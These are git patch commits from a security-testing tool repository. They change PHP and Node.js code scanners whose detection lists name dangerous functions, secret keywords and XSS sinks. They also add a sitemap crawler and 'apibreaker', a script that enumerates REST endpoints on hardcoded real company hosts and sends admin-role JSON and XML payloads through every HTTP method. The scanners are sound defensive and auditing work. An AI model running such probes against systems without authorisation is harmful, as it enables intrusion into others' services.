zV#!)1&o$D(hF+A$lit{MHEqf4E-movlznf0Bg1h#8l`B6tWw!=+%#*9FYzhZSIm&nL~WXt)F>y z|Mxvee&yUrP8`LdpM)z0uPw82Ye@A|vTlnrj0b-0d4xWrkbJtc+;n4XegD%>KmX3| zKL0VU1HmV&_^-2;(IFe0T0mx{GLz@Vd+EvBH~=ROtOtH?xMJ;0r6b5manK3#+_+`1 zvcTlQD-VPO2|ce_=mIahd3S}T2o7ixzT%1xVE9BpO~ntEW`#ehj%oP~rb?1LC$x2W z$RqjLymkDR99gNMdBB@%o3v^SYc|n3O3};2H%eSQ%^2^nviigbW@0tCLA!XP&P5Mj zdF{M3$M{$41FQ-xIf5_f9loy%+|Zc^7Pkzs+0ce+YwTo0nQ;xczw1gmYeN9b@Oa?{ z{dI8HvDCd#B#Pa)C36Y+h}`*yc;=-L*fipaDPQ<7T zny#%mPxK>GcP4!n6lxVPVjCXc*|@c~E}RQvNuQW%=l6DD$$niUh_A9&SOF{qi2_Z1`YA&y)$Q0uv1X{l4^ zx&sfq11IpN1&2>w3Tx&wc({<^Nj_@{lsvTRJ8pl}#;rv2hGjRUBk2ci@}XDX+&UK& zjUi1O5-4pEL zL#%J%Q}ip^&FL0>b)sXlWnNp(#BwbSA3aWyXAGt_NmFlfNKNT@zWQbMHyoC+LudSo zV~hTwEy)pAkh-|f+%_k0FC$>`JQU;&5pCSgCvJb#pEd?{nWyWx{Z$D%KmWmZ+{$Qj z5xEb2JYb&9Yd*eBM`MYm$9cwKVc~~<66ypzm1V$HKW74zMKBwB=TGY(j;N&;WqPAC z6K3m$?YP9_6E~~OJX*5#aon*SZI$N58xo?OZxUEUhi4k1$hkbP8`o1nj z<_kytb26^;{N+W~=R0@ZxCMOKJ=+KL;ty@Yz9lNufW^H?^a*52&w}+;JM)R#%*)P? z5q>dv5`qNu!WX-n=s`dp+o#@Oe{J>OQ2ja+{{bIs=;`ZDdnF$AJAo(2L*>&hgCT(v zVn|V|y~bQHok^!o$*cZ=Y4Y%nIkwbZ8e{)-qcS}Q2B+utc^SHWlwE!IxaHj7xN>^1#Hh#y5hj7_uHubfv(ZG&E1)~aAE z95KnKuaiKGpOJ^KuSMWF_oG8HYJ+5h$%eE)fS@*5*v`5Q8}wq&sArgA4cFDOg$`wH z+R|2!MFjH|z@M>3&NF? z$zRZW9N$*#&~aS8YBM;IhQ^r0S7OVHAP1p(#k_)Qy%-g5LKbFN82su72YN#6B)lKuDnjX$XCJnp|gO;*bpJ_;eX5`A6CV0Qw)uRj zY&9v24|-G2=bblh6(bwBEUdiHW3xaYY`|fpb8ep}AbwQP$;|2Eqx#f#SvAGzZgXuP z+VCte2cIYM$JZ8Uj0sp$$?(XY8pIu2@N&KTk&Ro$13&tawU3N}ae8mbA{fm2j$B^3 zzV`lPGQL<16A|RxO3>IZDl z-(~FKuZTNOsADV`*^FiU_r2j9_vl3@dSd~M@v}Z}+i9&gV`b}E>?^+EIK}a(uX(|} zJDVffU~!xhv8>~9uvVKCdaO+tete1uvEGGo&l|CsD_OwDmH0!feo0rOE#n&@4>T4`yAyjhN(tN1D(MD2Y*BDgiE9%0YroKY$D@6|fm&QH^7U@l+b9U#6 zSQEL|ifW!de-wYmY76h|y)iqacYc2?eU8XyQZGE_q+Wf%R?i|G|I1U&OZs`!{RjW| zXRg`j`gY+R6PR~n9K=_~Wa%cLdR39M6 za>OLCy}(9r<}~V1jL5QK-BV96=Y$xuE5UZ0l3k;uMkAc7B>$FcDi6V>HUB)<2?t>Wsw53tv}HE4;cCyh|glR*A@5-44KdP01eJN(VDQmITWtE_D`ABelQ=}^L=#Qpl#uA#od}$>$(Ozj*qRLYsIeVa}U^%>-x4ytMwtTCXf8* ze9P=GTk-BUiw08i$Sog~yUWJJvt$N8*FGx;NZ9E4`{Jivr~84i+5pQ}y84XZ@*8gY zZY_G&eM}F>fQ;I#>Fvv0R}87cTuG5q*_f+WBj(3<@VI|>onu+%(qOkf*WAllwNH)mJ7T1$)&^bA->0F$Ae=OD*SPE*5I40!)lc9T1zB04)MAwQuE&Ng0f3usli%1 zCAMr@k+IPbCWg~hKkkX(ja%Itf6_nb&hwg(dFEA#Kl|AS8hb&V1N7@^@*$pW#kdi@B$n^wOOcEhG}EOrV3LZR_GxxvSqD693oj3N)RuC64j|OCWFWDP z1zQ0qad=|^v!SO-I}%c{of9!Ij#qf-cw<7CsgXq~ynGUhJZF=kpO(s^3ER*Sk6l#T z1Sw?}k_p=A#1p@hi;T%^-V)!$_<}d!vAZ$&z7YEz*KJnZWq%q|B`LPArd8_x_;|~w z=ZhwCqmwrqh&RginGI-()N*mwcpNFO{Wzs82)5aGXLBAV19xqK?Nk z`5WawT3P=A^2xmTqh`KJZ-T)a#)un1O6vpV4E)J{gu{rukPfIc4+-b{JO8-|bHW?9 z^2eKF%o{IKxb=nH{m0Ia8`iJ^dMdl4D~wqvz`k(0A;@-MLgeDCl^(EQ)2#D}U!?J5#5o zuFp&FXdp7aIu~zb*PNH!nj4ZM{JyC>mJq;6^YZDej2#yDq8d#~@|<>$MY2=IDW_VM zfS$2U4(K;Ot;tDpxV0LhV-b191i+Lfvphh*9;6i;%)MDWo)VJ-S;vK=oc<8w!TOeF zF<&4GSOMZ2GsD`PZQitl(fGFn&K&~N^GFM~V@pmNbMu-tV*E&msB|-2Q)m`@8>2f!yplmMCh{;9od2|8K>JLyUcWi{Ej6G#tndZkdr-xvg8hsHXDy^F@Gk<+uGK{^~=XImI3TTUDlDcQZ)HwQu0*lT|adu zhgM8Xa#Ll;$0!;R)soc?(j2|sgGfKLv>{FZuz`hAY46TO9dkF$^2?Doy7dtmetG86 zkFV{j^S>mPP~d!gX9vb9i_GA<&K$S8MMw5)p_byC#%cBq`|C;nF`%zE`Bw5w%751< zVa-r{XzCA{_(Mu^A+cqu$G3IPh&SB0n$BCdUx+ywhb)}WbU$UjAe*qxO>h;u&-KCa zwd)J%s6MjUlgU~U@a@h-zkFW}`|xrwyE1mlB0kfmTkc_GU?On3y=5g*Mv2p3XYs`+ z-+65xB{^eqUMD-kTaMO39lIC!xW32KTpbRrfdjp|4-1RD8WK=&{!JZ?3AnzSXk$0v z(W}i9d9x22Lu@|IIkDxL4@DGp{5bh(*V_2|DzGVtRD4tK)(P_>3t`50CTqnjy5?{R z3tf`7pV6uwG>hsJ^0fIdPo91GP*3I#_wLLgN%9N*5y-pwgpJ6>nfL~kGI696w1|nq g{X3mS!a0@yAKgscD##X+Z~y=R07*qoM6N<$g6XG52><{9 literal 0 HcmV?d00001 From 59a26d8445e491c70fe7c244b3f97947b9e3f46b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 4 Sep 2018 01:36:46 +0100 Subject: [PATCH 015/460] [pef] removed keywords detection - too many false-positives --- pef/imports/pefdefs.py | 51 ------------------------------------------ pef/pef.py | 5 ----- 2 files changed, 56 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 78b7dcd..b7575d8 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,57 +7,6 @@ "pcntl_exec(", "asset(", "extract(", "parse_str(", "putenv(", "ini_set(", "mail(", "header(", "unserialize("] -# other keywords points to critical features, credentials, configs etc. -keywords = [ - "api", - "api_key", - "api_secret_key", - "secret_key", - "secret", - "PRIVATE_KEY", - "private_key", - "token", - "CSRF", - "Arrays.equals", - "HMAC", - "random(", - "mt_rand(", - "rand(", - "hashlib", - "hashed", - "md5", - "sha1", - "sha-1", - "sha2", - "sha-2", - "salt", - "bcrypt", - "admin", - "preg_replace('/.*/e',", - "include(", - "include_once(", - "require(", - "require_once(", - "posix_mkfifo(", - "posix_getlogin(", - "posix_ttyname(", - "getenv(", - "get_current_user(", - "proc_get_status(", - "get_cfg_var(", - "disk_free_space(", - "disk_total_space(", - "parse_str(", - "putenv(", - "ini_set(", - "mail(", - "header", - "chmod", - "chown", - "shell=True", - "pickle.loads", - "yaml.load" -] # dangerous global(s) globalVars = ["$_POST", "$_GET", "$_COOKIE", "$_REQUEST", "$_SERVER"] diff --git a/pef/pef.py b/pef/pef.py index d60ce99..acd5bf5 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -55,11 +55,6 @@ def main(src): total += 1 printcodeline(_line, i, _fn + ')', beautyConsole.efMsgFound) - for _kw in pefdefs.keywords: - if _kw.lower() in __line.lower(): - total += 1 - printcodeline(_line, i, _kw, - beautyConsole.eKeyWordFound) for _dp in pefdefs.fileInclude: if _dp in __line.replace(" ", ""): total += 1 From c36f4f5d5e9d6c8cb700e0b669f8d9792f9a7d7c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 4 Sep 2018 01:52:09 +0100 Subject: [PATCH 016/460] [pef] quick reference about identified dangerous function (first two functions) --- pef/imports/pefdefs.py | 10 ++++++++++ pef/pef.py | 6 +++++- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index b7575d8..ac47cfa 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,6 +7,16 @@ "pcntl_exec(", "asset(", "extract(", "parse_str(", "putenv(", "ini_set(", "mail(", "header(", "unserialize("] +# exploitable functions description +# needs to have closing bracket ), bc this is how pattern is passed to function +# printcodeline(_line, i, _fn, _message) + +# @TODO: add other descriptions :) +exploitableFunctionsDesc = { + "parse_str()": "when parse_str(arg, [target]) parses URL-like string, \n\t\tit sets variables in current scope WITHOUT initializing it", + "system()": "allows to execute system command passed as an argument" +} + # dangerous global(s) globalVars = ["$_POST", "$_GET", "$_COOKIE", "$_REQUEST", "$_SERVER"] diff --git a/pef/pef.py b/pef/pef.py index acd5bf5..d4fc080 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -31,9 +31,13 @@ def printcodeline(_line, i, _fn, _message): """ Formats and prints line of output """ - print ":: line %d :: \33[33;1m%s\33[0m %s found " % (i, _fn, _message) + print ":: line %d :: \33[33;1m%s\33[0m %s found " % (i, _fn, _message) + if _fn and pefdefs.exploitableFunctionsDesc.has_key(_fn): + print "\t\t" + beautyConsole.getColor("white") + pefdefs.exploitableFunctionsDesc.get(_fn) + beautyConsole.getSpecialChar("endline") + print beautyConsole.getColor("grey") + _line + beautyConsole.getSpecialChar("endline") + def main(src): """ From a94126cea04e4e7d110edc67380c0c324745cf4b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 22 Sep 2018 16:40:02 +0100 Subject: [PATCH 017/460] [nodestructor] some new patterns --- nodestructor/nodestructor.py | 10 ++++++ sitemap.py | 62 ++++++++++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+) create mode 100755 sitemap.py diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 52a628b..e483737 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -77,6 +77,11 @@ ".*appendChild\(", ".*document.write\(", ".*document.location", + ".*document.URL", + ".*document.documentURI", + ".*document.URLUnencoded", + ".*document.baseURI", + ".*document.referrer", ".*location.href", ".*location.search", ".*location.hash", @@ -102,6 +107,11 @@ ".*\.replaceWith\(", ".*\.wrap\(", ".*\.wrapAll\(", + ".*\.dangerouslytSetInnerHTML\(", + ".*\.bypassSecurityTrust.*\(", + ".*localStorage\.", + ".*sessionStorage\.", + ".*\$sce\.trustAsHtml\(" ] HTML_PATTERNS = [ diff --git a/sitemap.py b/sitemap.py new file mode 100755 index 0000000..1eb77f0 --- /dev/null +++ b/sitemap.py @@ -0,0 +1,62 @@ +#! /usr/bin/env python +from bs4 import BeautifulSoup +import sys +import requests +import urlparse + + +def get_sitemap(url): + get_url = requests.get(url) + if get_url.status_code == 200: + return get_url.text + else: + print('Unable to fetch sitemap: %s.' % url) + + +def process_sitemap(s): + soup = BeautifulSoup(s, 'lxml') + result = [] + + for loc in soup.findAll('loc'): + result.append(loc.text) + + return result + + +def is_sub_sitemap(url): + parts = urlparse.urlparse(url) + if parts.path.endswith('.xml') and 'sitemap' in parts.path: + return True + else: + return False + + +def parse_sitemap(s): + sitemap = process_sitemap(s) + result = [] + + while sitemap: + candidate = sitemap.pop() + + if is_sub_sitemap(candidate): + sub_sitemap = get_sitemap(candidate) + for i in process_sitemap(sub_sitemap): + sitemap.append(i) + else: + result.append(candidate) + + return result + + +def main(): + sitemap = get_sitemap(sys.argv[1]) + + url_count = 0 + for url in parse_sitemap(sitemap): + url_count += 1 + print("%5d) %s" % (url_count, url)) + print("-end-of-list-") + + +if __name__ == '__main__': + main() From ab328ebf7146655d6dda7387300875afde06a5c9 Mon Sep 17 00:00:00 2001 From: bl4de Date: Mon, 24 Sep 2018 21:37:08 +0100 Subject: [PATCH 018/460] some reformating --- nodestructor/nodestructor.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e483737..26a942e 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -137,9 +137,12 @@ SKIP_TEST_FILES = False IDENTIFY_URLS = False EXCLUDE = [] -EXCLUDE_ALWAYS = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', 'babylon', 'next-tick', - 'core-js', 'es5', 'es6', 'convert-source-map', 'source-map-', 'mime', - 'to-fast-properties', 'json5', 'async', 'http-proxy', 'mkdirp', 'loose-envify', +EXCLUDE_ALWAYS = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', + 'babylon', 'next-tick', + 'core-js', 'es5', 'es6', 'convert-source-map', 'source-map-', + 'mime', + 'to-fast-properties', 'json5', 'async', 'http-proxy', + 'mkdirp', 'loose-envify', '.git', '.idea'] INCLUDE = [] PATTERN = "" @@ -167,7 +170,8 @@ def printcodeline(_line, i, _fn, _message): def process_files(subdirectory, sd_files, pattern=""): """ - recursively iterates ofer all files and checks those which meet criteria set by options only + recursively iterates ofer all files and checks those which meet + criteria set by options only """ global TOTAL_FILES for __file in sd_files: From 9457ce20d353562a1869be64e9ce277d8cf3e38b Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Tue, 25 Sep 2018 16:04:16 +0100 Subject: [PATCH 019/460] [apibreaker.py] initial version --- apibreaker/apibreaker.py | 175 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 175 insertions(+) create mode 100755 apibreaker/apibreaker.py diff --git a/apibreaker/apibreaker.py b/apibreaker/apibreaker.py new file mode 100755 index 0000000..7e0754f --- /dev/null +++ b/apibreaker/apibreaker.py @@ -0,0 +1,175 @@ +#!/usr/bin/python +# +# REST API bubgounty tool +# +# bl4de | twitter.com/_bl4de | hackerone.com/bl4de | github.com/bl4de + + +### @TODO +### - colorful output based on HTTP Response code, content etc. +### - arguments parser +### - recursive paths, eg.: /news -> /news/add, /news/delete etc. +### - save output to file +### - ??? + +import requests + +# make script arguments from these here: +HOSTNAME = 'af.opera.com' +api_url = HOSTNAME + '/api/' +USER_AGENT = 'bl4de/HackerOne' +SCHEMA = 'https://' +be_verbose = False + + +# HTTP methods +HTTP_METHODS = [ + 'HEAD', + 'GET', + 'POST', + 'PUT', + 'DELETE', + 'TRACE', + 'FAKE' +] + +JSON_PAYLOAD = '{"user": "1", "role": "admin", "debug": "true", \ + "verbose": "true", "": "", "key_no_value": "", "": "value_no_key"}' + +XML_PAYLOAD = """ + + + Admin + admininstartor + true + 1 + + +""" + + +HEADERS = { + "Host": HOSTNAME, + "User-Agent": USER_AGENT, + "Accept": "*/*" +} + +api_url = SCHEMA + api_url + + +def print_response(url, method, resp, msg=""): + global be_verbose + + print "{} to {} {}: HTTP {}; \t\t\t\tresponse size: {}".format( + method, url, resp.status_code, msg, len(resp.content)) + if be_verbose == True and len(resp.content) > 0: + print "-- Response content --" + "-"*78 + print "\n{}\n".format(resp.content) + print "\n" + "-"*100 + "\n" + + +def enumerate_endpoints(api_url, wordlist): + print "[+] enumerating existing endpoints using dictionary..." + c = 0 + enumerated = [] + for w in wordlist: + resp = requests.get(api_url + w, headers=HEADERS) + if resp.status_code != 404: + enumerated.append(w) + c = c + 1 + + if c == 0: + print "[-] no valid endpoints found at this url. Not much more can be done, so quitting now :/\n" + exit(0) + + print "[+] done! Found {} valid endpoints.".format(c) + return enumerated + + +def send_requests(enumerated_endpoints): + print "[+] sending HTTP requests to previously identified {} endpoints. This migth take a while...\n\n".format( + len(enumerated_endpoints)) + + c = 0 + for http_method in HTTP_METHODS: + if http_method == 'GET': + + get_params = [ + 'debug', + 'test', + 't', + 'a' + ] + + for w in enumerated_endpoints: + c = c + 1 + resp = requests.get(api_url + w, headers=HEADERS) + print_response(api_url + w, http_method, resp) + + for w in enumerated_endpoints: + for param in get_params: + c = c + 1 + url = api_url + w + '?{}=somedata'.format(param) + resp = requests.get(url, headers=HEADERS) + print_response(url, http_method, resp) + + if http_method == 'HEAD': + for w in enumerated_endpoints: + c = c + 1 + resp = requests.head(api_url + w, headers=HEADERS) + print_response(api_url + w, http_method, resp) + + if http_method == 'POST': + for w in enumerated_endpoints: + c = c + 2 + # application/xml + HEADERS['Content-Type'] = 'application/xml' + resp = requests.post( + api_url + w, headers=HEADERS, data=XML_PAYLOAD) + print_response(api_url + w, http_method, + resp, " with XML payload") + + # application/json + HEADERS['Content-Type'] = 'application/json' + resp = requests.post( + api_url + w, headers=HEADERS, data=JSON_PAYLOAD) + print_response(api_url + w, http_method, + resp, " with JSON payload") + + if http_method == 'PUT': + for w in enumerated_endpoints: + c = c + 2 + # application/xml + HEADERS['Content-Type'] = 'application/xml' + resp = requests.put( + api_url + w, headers=HEADERS, data=XML_PAYLOAD) + print_response(api_url + w, http_method, + resp, " with XML payload") + + # application/json + HEADERS['Content-Type'] = 'application/json' + resp = requests.put( + api_url + w, headers=HEADERS, data=JSON_PAYLOAD) + print_response(api_url + w, http_method, + resp, " with JSON payload") + + print "[+] done! Total {} requests send.\n\n".format(c) + + +def main(): + wordlist = [ + 'query', + 'user', + 'upload', + 'test', + 'debug', + 'check', + 'login' + ] + + enumerated_endpoints = enumerate_endpoints(api_url, wordlist) + send_requests(enumerated_endpoints) + + +if __name__ == "__main__": + main() From beeaf5522655d384a73697e4ab0c8513139edea3 Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Tue, 25 Sep 2018 16:04:50 +0100 Subject: [PATCH 020/460] remove hostname --- .vscode/.ropeproject/objectdb | Bin 6 -> 1646 bytes apibreaker/apibreaker.py | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/.vscode/.ropeproject/objectdb b/.vscode/.ropeproject/objectdb index 0a47446c0ad231c193bdd44ff327ba2ab28bf3d8..a1fd398f255f2fc48df49c99917d2a41fba552db 100644 GIT binary patch literal 1646 zcmb`HNq5sQ0ED3lI0=+cwz9TBSzMqtl%?!tErha^1hIp$9iy=$dhmO2i2S#) zv%K`eseZc6K{NAd>^~C;cIafqWI>mjk=?O9EC^z z#&)B3gEsXspio-0AeI&uO&a#lKn&K#%WQ7Jf z#xnck3Ma;7P7cVNQkY>g`dFVOlD zo;svH>N(o`vwq9x30Cyt{a@t%FBKa3dWYZps~%R_e~-lLq6hRQAJAKccNv5=h4&7b z9zh5r8rl)HMlhOv7_9^!if2J`79SNp72WSM(VBz*G`^(xs_;$Wd(kF8NPTSpt35LN QnZi=|l~J`794C&Ae`AYL#Q*>R literal 6 NcmZo*sx4&D0{{kv0iOT> diff --git a/apibreaker/apibreaker.py b/apibreaker/apibreaker.py index 7e0754f..a51c25c 100755 --- a/apibreaker/apibreaker.py +++ b/apibreaker/apibreaker.py @@ -15,7 +15,7 @@ import requests # make script arguments from these here: -HOSTNAME = 'af.opera.com' +HOSTNAME = 'xxx.com' api_url = HOSTNAME + '/api/' USER_AGENT = 'bl4de/HackerOne' SCHEMA = 'https://' From 2ee4b866efa41deaef83ed6c9606df670b0ace36 Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Tue, 25 Sep 2018 16:05:47 +0100 Subject: [PATCH 021/460] some idea --- apibreaker/apibreaker.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apibreaker/apibreaker.py b/apibreaker/apibreaker.py index a51c25c..3256556 100755 --- a/apibreaker/apibreaker.py +++ b/apibreaker/apibreaker.py @@ -10,7 +10,7 @@ ### - arguments parser ### - recursive paths, eg.: /news -> /news/add, /news/delete etc. ### - save output to file -### - ??? +### - add common endpoints and common GET params dictionaries as default import requests From 9b447fd93c2859228f18621dab74e518d44cd974 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 27 Sep 2018 06:01:40 +0100 Subject: [PATCH 022/460] [apibreaker.py] changes --- apibreaker/apibreaker.py | 48 +++---- apibreaker/endpoints.txt | 174 +++++++++++++++++++++++ apibreaker/params.txt | 292 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 484 insertions(+), 30 deletions(-) create mode 100644 apibreaker/endpoints.txt create mode 100644 apibreaker/params.txt diff --git a/apibreaker/apibreaker.py b/apibreaker/apibreaker.py index 3256556..5846795 100755 --- a/apibreaker/apibreaker.py +++ b/apibreaker/apibreaker.py @@ -2,21 +2,22 @@ # # REST API bubgounty tool # -# bl4de | twitter.com/_bl4de | hackerone.com/bl4de | github.com/bl4de +# bl4de | twitter.com/_bl4de | hackerone.com/bl4de | +# github.com/bl4de -### @TODO -### - colorful output based on HTTP Response code, content etc. -### - arguments parser -### - recursive paths, eg.: /news -> /news/add, /news/delete etc. -### - save output to file -### - add common endpoints and common GET params dictionaries as default +# @TODO +# - colorful output based on HTTP Response code, content etc. +# - arguments parser +# - recursive paths, eg.: /news -> /news/add, /news/delete etc. +# - save output to file +# - add common endpoints and common GET params dictionaries as default import requests # make script arguments from these here: -HOSTNAME = 'xxx.com' -api_url = HOSTNAME + '/api/' +HOSTNAME = 'sitecheck.opera.com' +api_url = HOSTNAME + '/api/v1/' USER_AGENT = 'bl4de/HackerOne' SCHEMA = 'https://' be_verbose = False @@ -63,19 +64,19 @@ def print_response(url, method, resp, msg=""): print "{} to {} {}: HTTP {}; \t\t\t\tresponse size: {}".format( method, url, resp.status_code, msg, len(resp.content)) if be_verbose == True and len(resp.content) > 0: - print "-- Response content --" + "-"*78 + print "-- Response content --" + "-" * 78 print "\n{}\n".format(resp.content) - print "\n" + "-"*100 + "\n" + print "\n" + "-" * 100 + "\n" def enumerate_endpoints(api_url, wordlist): - print "[+] enumerating existing endpoints using dictionary..." + print "[+] enumerating existing endpoints using dictionary with {} names...".format(len(wordlist)) c = 0 enumerated = [] for w in wordlist: - resp = requests.get(api_url + w, headers=HEADERS) + resp = requests.get(api_url + w.strip(), headers=HEADERS) if resp.status_code != 404: - enumerated.append(w) + enumerated.append(w.strip()) c = c + 1 if c == 0: @@ -94,12 +95,7 @@ def send_requests(enumerated_endpoints): for http_method in HTTP_METHODS: if http_method == 'GET': - get_params = [ - 'debug', - 'test', - 't', - 'a' - ] + get_params = open('params.txt', 'r').readlines() for w in enumerated_endpoints: c = c + 1 @@ -109,7 +105,7 @@ def send_requests(enumerated_endpoints): for w in enumerated_endpoints: for param in get_params: c = c + 1 - url = api_url + w + '?{}=somedata'.format(param) + url = api_url + w + '?{}=google.ie'.format(param.strip()) resp = requests.get(url, headers=HEADERS) print_response(url, http_method, resp) @@ -157,15 +153,7 @@ def send_requests(enumerated_endpoints): def main(): - wordlist = [ - 'query', - 'user', - 'upload', - 'test', - 'debug', - 'check', - 'login' - ] + wordlist = open('endpoints.txt', 'r').readlines() enumerated_endpoints = enumerate_endpoints(api_url, wordlist) send_requests(enumerated_endpoints) diff --git a/apibreaker/endpoints.txt b/apibreaker/endpoints.txt new file mode 100644 index 0000000..d67adad --- /dev/null +++ b/apibreaker/endpoints.txt @@ -0,0 +1,174 @@ +0 +1 +1.0 +2 +2.0 +3 +3.0 +4 +4.0 +5 +5.0 +6 +6.0 +7 +7.0 +8 +8.0 +9 +9.0 +about +access +account +accounts +activate +add +address +admin +admins +advanced +advanced_search +alert +all +api +apps +attach +auth +authentication +authtoken +billing +bugs +build +buy +cart +change +check +checkout +client +clients +comment +comments +connect +contact +create +data +date +deactivate +delete +details +dev +disable +doc +docs +download +edit +editor +email +emails +enable +feed +feeds +friend +friends +fundingsources +get +group +help +id +info +information +ip +key +log +login +logon +mail +manage +me +members +metadata +modify +new +no +notes +notification +notifications +number +order +organizations +page +pages +password +photo +photos +ping +preview +profile +purchase +questions +record +records +register +remove +report +reports +reset +result +results +retrieve +return +review +search +Search +send +server +Server +session +sessions +set +settings +shell +show +sign +signin +sign-in +SPUser +src +SSoAuthLoginResponse +SsoFederation +SsoIdentityProvider +stat +stats +StorageAuthToken +StorePoint +summary +support +supporttickets +targets +tickets +token +tokens +update +upload +uploads +usage +user +userinfo +userip +users +v0 +v1 +v10 +v2 +v3 +v4 +v5 +v6 +v7 +v8 +v9 +validate +verify +view +vulnerabilities +widget diff --git a/apibreaker/params.txt b/apibreaker/params.txt new file mode 100644 index 0000000..49a6140 --- /dev/null +++ b/apibreaker/params.txt @@ -0,0 +1,292 @@ +topic +title +head +foot +high +low +higher +lower +width +height +add +result +res +top +bottom +middle +center +line +log +demo +example +message +msg +from +past +forward +charset +charsout +checkbox +checked +checkemail +chromeless +chunk +chunks +ci +check +deactivate +debug +_debug +decrypt_key +default_password_nag +delete +deletebookmarks +deletecomment +delete_count +deleted +deletemeta +deletepost +delete_remote +delete_widget +demo +description +host +hostname +lid +limit +line +link +link_cat +linkcheck +link_id +link_image +link_name +link_rss +link_text +linkurl +link_url +link_visible +list_args +liveupdate +me +media_type +menu +message +meta +metakeyinput +metakeyselect +metavalue +method +_method +p +pa +page +_page +page_author +page_columns +paged +page_end_date +page_id +pagenow +page_options +page_start_date +page_status +par +para +parent +pointer +position +post +post_author +post_category +post_content +posted +post_end_date +post_format +postid +post_id +post_ID +post_mime_type +post_password +post_start_date +post_status +post_title +post_type +prefix +preview +previewed +preview_id +preview_nonce +primary_blog +private_key +ps +pt +pu +public_key +publish +pv +pval +pw +pwd +re +redir +redirect +redirect_to +redirecturi +redirect_uri +redirecturl +redirect_url +redir_uri +redir_url +ref +referredby +referrer +region +registration +rememberme +remotescan +removeheader +removewidget +repair +replytocom +res +rescan +reset_hash +resetheader +restrict +result +ret +returl +return +_return +return_to +revision +rf +rg +rh +ri +rich_editing +rid +sa +sanitized_widget_setting +save +_saveandclosedok_x +saveandclosedok_x +_savedoknew_x +_savedokview_x +_savedok_x +savedok_x +savewidget +savewidgets +sb +sc +screen +screen_id +sd +se +search +securityToken +selection +send +send_password +server +sf +sg +sh +shortcode +si +sid +sidebar +sidebars +signup_for +_signup_form +signup_form_id +stage +state +status +step +sticky +stylesheet +su +subaction +subdomain_install +submit +success +super_admin +sv +sw +sword_list +sx +sy +sz +t +ta +tab +tag_base +tag_ID +tax +tenant +test +testcookie +text +tf +tg +th +theme +themes +thisjobonly +thumb +thumbnail_id +ti +tid +time_format +time_format_custom +timestamp +timezone_string +title +uname +undismiss +unspam +untrash +untrashed +uo +up +update +updated +updraft_encryptionphrase +updraftplus_backup_nonce +updraftplus_dropboxauth +updraftplus_file +updraftplus_googleauth +updraft_restore +updraft_restorer_wpcore_includewpconfig +updraft_restore_success +upgrade +uq +ur +uri +url +_url +urls +us +user +user_email +userid +user_id +user_login +username +user_name +wid +widget +widget_id +widget_number +width +wp +_wp_http_referer +WPLANG +wp_nav_menu_args +wp_nav_menu_args_hash +wpnonce +_wpnonce +wp_screen_options +_wp_unfiltered_html_comment From aebfef1119dd52a1121fa98744482f6c1b7faba6 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 29 Sep 2018 16:14:49 +0100 Subject: [PATCH 023/460] [nodestructor] Fix Function() pattern (must be prepend by white char --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 26a942e..82fbafe 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -52,7 +52,7 @@ ".*res.write\(", ".*child_process", ".*child_process.exec\(", - ".*Function\(", + ".*\sFunction\(", ".*execFile\(", ".*spawn\(", ".*fork\(", From 40574baae34a7de3a833a0a87000f57c9c88f819 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 29 Sep 2018 17:13:33 +0100 Subject: [PATCH 024/460] [apibreaker] print only responses with different sizes; nesting change --- apibreaker/apibreaker.py | 67 ++++++++++++++++++++++++---------------- 1 file changed, 40 insertions(+), 27 deletions(-) diff --git a/apibreaker/apibreaker.py b/apibreaker/apibreaker.py index 5846795..a3faec9 100755 --- a/apibreaker/apibreaker.py +++ b/apibreaker/apibreaker.py @@ -16,12 +16,13 @@ import requests # make script arguments from these here: -HOSTNAME = 'sitecheck.opera.com' -api_url = HOSTNAME + '/api/v1/' +HOSTNAME = 'cdc-tool.roche.com' +api_url = HOSTNAME + '/api/' USER_AGENT = 'bl4de/HackerOne' SCHEMA = 'https://' -be_verbose = False +be_verbose = True +last_response_size = 0 # HTTP methods HTTP_METHODS = [ @@ -58,16 +59,35 @@ api_url = SCHEMA + api_url +def prepare_dictonaries(): + get_params = open('params.txt', 'r').readlines() + + # hardcoded for tests + get_params = [ + 'debug', + 'info' + ] + + wordlist = open('endpoints.txt', 'r').readlines() + + # hardcoded for tests + wordlist = ['user'] + + return [wordlist, get_params] + + def print_response(url, method, resp, msg=""): global be_verbose + global last_response_size - print "{} to {} {}: HTTP {}; \t\t\t\tresponse size: {}".format( - method, url, resp.status_code, msg, len(resp.content)) - if be_verbose == True and len(resp.content) > 0: - print "-- Response content --" 